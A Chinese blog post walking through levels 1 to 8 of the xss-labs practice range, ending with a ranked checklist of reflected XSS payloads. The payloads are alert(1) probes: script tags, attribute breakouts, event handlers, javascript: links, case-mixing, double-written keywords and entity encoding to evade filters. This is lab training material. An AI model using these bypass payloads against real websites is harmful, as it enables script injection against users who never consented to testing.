xss攻击思路

xss攻击思路(xsslabs靶场举例)

在这里插入图片描述

靶场思路

1、第一关:

<script>alert(1)</script>

在这里插入图片描述

2、第二关:

<script>alert(1)</script>

在这里插入图片描述

发现没有成功弹出提示框,于是就右键检查源代码观察

在这里插入图片描述

尝试闭合标签

通过上面源代码发现输入的值都在value中,只是没有被执行,所以尝试闭合value

value="">(前面闭合了)这里填上我们要执行的代码即可 "

"><script>alert(1)</script>

3、第三关:

<script>alert(1)</script>                       //失败

发现标签被实体化

<script>alert(1)</script>

加粗样式
**

尝试事件,

不知道怎么闭合的可以先用试试,看看上传后源码是什么样子

'1'

在这里插入图片描述

可以用 onmouseover 和 onmouseout 两个属性来设置鼠标移入和移出的事件。
' onmouseover='alert(1)

4、第四关:

<script>alert(1)</script>

还是过滤尖括号

尝试事件绕过,发现是双引号

" onfocus="alert(1)

5、第五关:

<script>alert(1)</script>

尝试大小写绕过,发现还是不行

<ScRIpt>alert(1)</ScRIpt>

事件,发现也存在过滤

在这里插入图片描述

尝试伪协议

"><a href="javascript:alert(1)">点我</a>

在这里插入图片描述

6、第六关

<script>alert(1)</script>

还是被过滤

script => scr_ipt

尝试大小写绕过

"><SCrIpt>alert(1)</SCrIpt>

在这里插入图片描述

7、第七关:

<script>alert(1)</script>

还是被过滤script

尝试双写绕过

"><scrscriptipt>alert(1)</scriscriptpt>

在这里插入图片描述

8、第八关:

<script>alert(1)</script>

过滤了script=> scr_ipt

查看源码发现传入的内容在href里面

<a href="javascr_ipt:alert(1)">

所以,尝试了为协议,也被过滤

javascript:alert(1)  ==>  javascr_ipt:alert(1)

判断过滤了哪些字符,发现全部被过滤

src onfocus script onerror javascript

考虑编码绕过,unicode

在线网站:https://www.sojson.com/unicode.html

<a herf="javascript:alert(1)"></a>

编码

&#60;&#97;&#32;&#104;&#101;&#114;&#102;&#61;&#34;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#34;&#62;&#28857;&#20987;&#60;&#47;&#97;&#62;

9、总结

尝试顺序
1、经典公式
<script>alert(1)</script>

2、经典公式大小写
<scRIpt>alert(1)</scRIpt>

3、经典公式双写
<scRscRIptIpt>alert(1)</scRscRIptIpt>

4、事件单引号
' onmouseover='alert(1)

5、事件双引号
" onmouseover='alert(1)

6、a标签
"><a href="javascript:alert(1)">点我</a>

7、万般无奈才尝试编码

反射型注入就是在不断尝试中成功的

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落樱坠入星野

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值